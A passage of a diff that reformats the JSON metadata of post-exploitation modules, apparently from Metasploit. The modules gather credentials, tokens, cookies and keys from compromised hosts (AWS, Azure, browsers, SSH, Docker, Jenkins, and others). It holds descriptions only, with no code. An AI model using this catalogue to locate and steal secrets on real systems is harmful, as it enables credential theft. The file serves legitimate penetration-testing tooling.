- "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266661,23 +237058,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/aws_create_iam_user": { "name": "Create an AWS IAM User", "fullname": "post/multi/escalate/aws_create_iam_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266702,23 +237094,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/cups_root_file_read": { "name": "CUPS 1.6.1 Root File Read", "fullname": "post/multi/escalate/cups_root_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-20", "type": "post", @@ -266745,22 +237132,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/metasploit_pcaplog": { "name": "Multi Escalate Metasploit pcap_log Local Privilege Escalation", "fullname": "post/multi/escalate/metasploit_pcaplog", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-07-16", "type": "post", @@ -266786,23 +237166,18 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/apple_ios_backup": { "name": "Windows Gather Apple iOS MobileSync Backup File Collection", "fullname": "post/multi/gather/apple_ios_backup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266811,9 +237186,7 @@ "bannedit " ], "description": "This module will collect sensitive files from any on-disk iOS device backups", - "references": [ - - ], + "references": [], "platform": "OSX,Windows", "arch": "", "rport": null, @@ -266827,23 +237200,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/aws_ec2_instance_metadata": { "name": "Gather AWS EC2 Instance Metadata", "fullname": "post/multi/gather/aws_ec2_instance_metadata", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266867,23 +237235,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/aws_keys": { "name": "UNIX Gather AWS Keys", "fullname": "post/multi/gather/aws_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266908,23 +237271,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/azure_cli_creds": { "name": "Azure CLI Credentials Gatherer", "fullname": "post/multi/gather/azure_cli_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266933,9 +237291,7 @@ "h00die" ], "description": "This module will collect the Azure CLI 2.0+ (az cli) settings files\n for all users on a given target. These configuration files contain\n JWT tokens used to authenticate users and other subscription information.\n Once tokens are stolen from one host, they can be used to impersonate\n the user from a different host.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -266953,27 +237309,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/check_malware": { "name": "Multi Gather Malware Verifier", "fullname": "post/multi/gather/check_malware", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266981,9 +237329,7 @@ "sinn3r " ], "description": "This module will check a file for malware on VirusTotal based on the checksum.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -266997,23 +237343,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/chrome_cookies": { "name": "Chrome Gather Cookies", "fullname": "post/multi/gather/chrome_cookies", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267021,9 +237362,7 @@ "mangopdf " ], "description": "Read all cookies from the Default Chrome profile of the target user.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267037,23 +237376,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dbeaver": { "name": "Gather Dbeaver Passwords", "fullname": "post/multi/gather/dbeaver", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267078,15 +237412,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -267094,16 +237422,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dbvis_enum": { "name": "Multi Gather DbVisualizer Connections Settings", "fullname": "post/multi/gather/dbvis_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267111,9 +237435,7 @@ "David Bloom" ], "description": "DbVisualizer stores the user database configuration in dbvis.xml.\n This module retrieves the connections settings from this file and decrypts the encrypted passwords.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, @@ -267127,23 +237449,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_bruteforce": { "name": "Multi Gather DNS Forward Lookup Bruteforce", "fullname": "post/multi/gather/dns_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267151,9 +237468,7 @@ "Carlos Perez " ], "description": "Brute force subdomains and hostnames via wordlist.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -267167,23 +237482,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_reverse_lookup": { "name": "Multi Gather DNS Reverse Lookup Scan", "fullname": "post/multi/gather/dns_reverse_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267191,9 +237501,7 @@ "Carlos Perez " ], "description": "Performs DNS reverse lookup using the OS included DNS query command.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -267207,23 +237515,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_srv_lookup": { "name": "Multi Gather DNS Service Record Lookup Scan", "fullname": "post/multi/gather/dns_srv_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267231,9 +237534,7 @@ "Carlos Perez " ], "description": "Enumerates known SRV Records for a given domain using target host DNS query tool.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -267247,23 +237548,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/docker_creds": { "name": "Multi Gather Docker Credentials Collection", "fullname": "post/multi/gather/docker_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267271,9 +237567,7 @@ "Flibustier" ], "description": "This module will collect the contents of all users' .docker directories on the targeted\n machine. If the user has already push to docker hub, chances are that the password was\n saved in base64 (default behavior).", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -267287,22 +237581,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/electerm": { "name": "Gather electerm Passwords", "fullname": "post/multi/gather/electerm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267327,15 +237616,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -267343,9 +237626,7 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/enum_hexchat": { "name": "Linux Gather HexChat/XChat Enumeration", @@ -267384,9 +237665,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", @@ -267411,9 +237690,7 @@ "post_multi/gather/enum_software_versions": { "name": "Multiplatform Installed Software Version Enumerator", "fullname": "post/multi/gather/enum_software_versions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267421,9 +237698,7 @@ "gwillcox-r7" ], "description": "This module, when run against a compromised machine, will gather details on all installed software,\n including their versions and if available, when they were installed, and will save it into a loot file for later use.\n Users can then use this loot file to determine what additional vulnerabilites may affect the target machine.\n\n Note that for Linux systems, software enumeration is done via package managers. As a result the results may\n not reflect all of the available software on the system simply because users may have installed additional\n software from alternative sources such as source code that these package managers are not aware of.", - "references": [ - - ], + "references": [], "platform": "Android,BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -267444,25 +237719,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/enum_vbox": { "name": "Multi Gather VirtualBox VM Enumeration", "fullname": "post/multi/gather/enum_vbox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267470,9 +237739,7 @@ "theLightCosine " ], "description": "This module will attempt to enumerate any VirtualBox VMs on the target machine.\n Due to the nature of VirtualBox, this module can only enumerate VMs registered\n for the current user, therefore, this module needs to be invoked from a user context.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267486,23 +237753,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/env": { "name": "Multi Gather Generic Operating System Environment Settings", "fullname": "post/multi/gather/env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267511,9 +237773,7 @@ "egypt " ], "description": "This module prints out the operating system environment variables.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix,Windows", "arch": "", "rport": null, @@ -267531,12 +237791,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "powershell", @@ -267544,16 +237800,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/fetchmailrc_creds": { "name": "UNIX Gather .fetchmailrc Credentials", "fullname": "post/multi/gather/fetchmailrc_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267561,9 +237813,7 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for IMAP, POP and other mail\n retrieval protocols in fetchmail's .fetchmailrc", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -267577,22 +237827,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/filezilla_client_cred": { "name": "Multi Gather FileZilla FTP Client Credential Collection", "fullname": "post/multi/gather/filezilla_client_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267601,9 +237846,7 @@ "Carlos Perez " ], "description": "This module will collect credentials from the FileZilla FTP client if it is installed.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267617,23 +237860,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/find_vmx": { "name": "Multi Gather VMWare VM Identification", "fullname": "post/multi/gather/find_vmx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267641,9 +237879,7 @@ "theLightCosine " ], "description": "This module will attempt to find any VMWare virtual machines stored on the target.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267657,23 +237893,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/firefox_creds": { "name": "Multi Gather Firefox Signon Credential Collection", "fullname": "post/multi/gather/firefox_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267683,9 +237914,7 @@ "g0tmi1k" ], "description": "This module will collect credentials from the Firefox web browser if it is\n installed on the targeted machine. Additionally, cookies are downloaded. Which\n could potentially yield valid web sessions.\n\n Firefox stores passwords within the signons.sqlite database file. There is also a\n keys3.db file which contains the key for decrypting these passwords. In cases where\n a Master Password has not been set, the passwords can easily be decrypted using\n 3rd party tools or by setting the DECRYPT option to true. Using the latter often\n needs root privileges. Also be warned that if your session dies in the middle of the\n file renaming process, this could leave Firefox in a non working state. If a\n Master Password was used the only option would be to bruteforce.\n\n Useful 3rd party tools:\n + firefox_decrypt (https://github.com/Unode/firefox_decrypt)\n + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267699,23 +237928,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/gpg_creds": { "name": "Multi Gather GnuPG Credentials Collection", "fullname": "post/multi/gather/gpg_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267724,9 +237948,7 @@ "Henry Hoggard" ], "description": "This module will collect the contents of all users' .gnupg directories on the targeted\n machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -267740,23 +237962,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/grub_creds": { "name": "Gather GRUB Password", "fullname": "post/multi/gather/grub_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267782,23 +237999,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/irssi_creds": { "name": "Multi Gather IRSSI IRC Password(s)", "fullname": "post/multi/gather/irssi_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267806,9 +238018,7 @@ "Jonathan Claudius " ], "description": "This module grabs IRSSI IRC credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -267822,22 +238032,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/jboss_gather": { "name": "Jboss Credential Collector", "fullname": "post/multi/gather/jboss_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267845,9 +238050,7 @@ "Koen Riepe (koen.riepe " ], "description": "This module can be used to extract the Jboss admin passwords for version 4,5 and 6.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, @@ -267861,22 +238064,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/jenkins_gather": { "name": "Jenkins Credential Collector", "fullname": "post/multi/gather/jenkins_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267884,9 +238082,7 @@ "thesubtlety" ], "description": "This module can be used to extract saved Jenkins credentials, user\n tokens, SSH keys, and secrets. Interesting files will be stored in\n loot along with combined csv output.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, @@ -267900,23 +238096,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/maven_creds": { "name": "Multi Gather Maven Credentials Collection", "fullname": "post/multi/gather/maven_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267924,9 +238115,7 @@ "elenoir" ], "description": "This module will collect the contents of all users settings.xml on the targeted\n machine.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -267940,23 +238129,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/memory_search": { "name": "Memory Search", "fullname": "post/multi/gather/memory_search", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267964,9 +238148,7 @@ "sjanusz-r7" ], "description": "This module allows for searching the memory space of running processes for\n potentially sensitive data such as passwords.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "x86, x64", "rport": null, @@ -267984,27 +238166,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/minio_client": { "name": "Gather MinIO Client Key", "fullname": "post/multi/gather/minio_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268029,15 +238203,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -268045,16 +238213,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/multi_command": { "name": "Multi Gather Run Shell Command Resource File", "fullname": "post/multi/gather/multi_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268062,9 +238226,7 @@ "Carlos Perez " ], "description": "This module will read shell commands from a resource file and\n execute the commands in the specified Meterpreter or shell session.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -268078,22 +238240,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/netrc_creds": { "name": "UNIX Gather .netrc Credentials", "fullname": "post/multi/gather/netrc_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268101,9 +238258,7 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for FTP and other services in .netrc", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -268117,22 +238272,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/pgpass_creds": { "name": "Multi Gather pgpass Credentials", "fullname": "post/multi/gather/pgpass_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268140,9 +238290,7 @@ "Zach Grace " ], "description": "This module will collect the contents of all users' .pgpass or pgpass.conf\n file and parse them for credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -268156,23 +238304,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/pidgin_cred": { "name": "Multi Gather Pidgin Instant Messenger Credential Collection", "fullname": "post/multi/gather/pidgin_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268181,9 +238324,7 @@ "Carlos Perez " ], "description": "This module will collect credentials from the Pidgin IM client if it is installed.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -268197,23 +238338,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ping_sweep": { "name": "Multi Gather Ping Sweep", "fullname": "post/multi/gather/ping_sweep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268221,9 +238357,7 @@ "Carlos Perez " ], "description": "Performs IPv4 ping sweep using the OS included ping command.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -268237,23 +238371,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/remmina_creds": { "name": "UNIX Gather Remmina Credentials", "fullname": "post/multi/gather/remmina_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268261,9 +238390,7 @@ "Jon Hart " ], "description": "Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.\n These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)\n stored in (relatively) plain text in a file that must be properly protected.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -268277,23 +238404,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/resolve_hosts": { "name": "Multi Gather Resolve Hosts", "fullname": "post/multi/gather/resolve_hosts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268301,9 +238423,7 @@ "Ben Campbell " ], "description": "Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host.", - "references": [ - - ], + "references": [], "platform": "Python,Windows", "arch": "", "rport": null, @@ -268317,22 +238437,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/rsyncd_creds": { "name": "UNIX Gather RSYNC Credentials", "fullname": "post/multi/gather/rsyncd_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268340,9 +238455,7 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for RSYNC in various locations", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -268356,22 +238469,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/rubygems_api_key": { "name": "Multi Gather RubyGems API Key", "fullname": "post/multi/gather/rubygems_api_key", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268380,9 +238488,7 @@ "Brandon Myers " ], "description": "This module obtains a user's RubyGems API key from ~/.gem/credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -268396,22 +238502,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/run_console_rc_file": { "name": "Multi Gather Run Console Resource File", "fullname": "post/multi/gather/run_console_rc_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268419,9 +238520,7 @@ "Carlos Perez " ], "description": "This module will read console commands from a resource file and\n execute the commands in the specified Meterpreter session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -268435,22 +238534,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/saltstack_salt": { "name": "SaltStack Salt Information Gatherer", "fullname": "post/multi/gather/saltstack_salt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268459,9 +238553,7 @@ "c2Vlcgo" ], "description": "This module gathers information from SaltStack Salt masters and minions.\n Data gathered from minions: 1. salt minion config file\n Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)\n 2. minion hostname/ip/os (depending on module settings)\n 3. SLS\n 4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed\n 5. minion config files\n 6. pillar data", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -268482,25 +238574,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/skype_enum": { "name": "Multi Gather Skype User Data Enumeration", "fullname": "post/multi/gather/skype_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268508,9 +238594,7 @@ "Carlos Perez " ], "description": "This module will enumerate Skype account settings, contact list, call history, chat logs,\n file transfer history, and voicemail logs, saving all the data to CSV files for analysis.", - "references": [ - - ], + "references": [], "platform": "OSX,Windows", "arch": "", "rport": null, @@ -268524,23 +238608,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ssh_creds": { "name": "Multi Gather OpenSSH PKI Credentials Collection", "fullname": "post/multi/gather/ssh_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268548,9 +238627,7 @@ "Jim Halfpenny" ], "description": "This module will collect the contents of all users' .ssh directories on the targeted\n machine. Additionally, known_hosts and authorized_keys and any other files are also\n downloaded. This module is largely based on firefox_creds.rb.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, @@ -268564,23 +238641,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/thunderbird_creds": { "name": "Multi Gather Mozilla Thunderbird Signon Credential Collection", "fullname": "post/multi/gather/thunderbird_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268588,9 +238660,7 @@ "sinn3r " ], "description": "This module will collect credentials from Mozilla Thunderbird by downloading\n the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for\n offline decryption with third party tools.\n\n If necessary, you may also set the PARSE option to true to parse the sqlite\n file, which contains sensitive information such as the encrypted username/password.\n However, this feature is not enabled by default, because it requires SQLITE3 gem\n to be installed on your machine.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -268604,23 +238674,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] 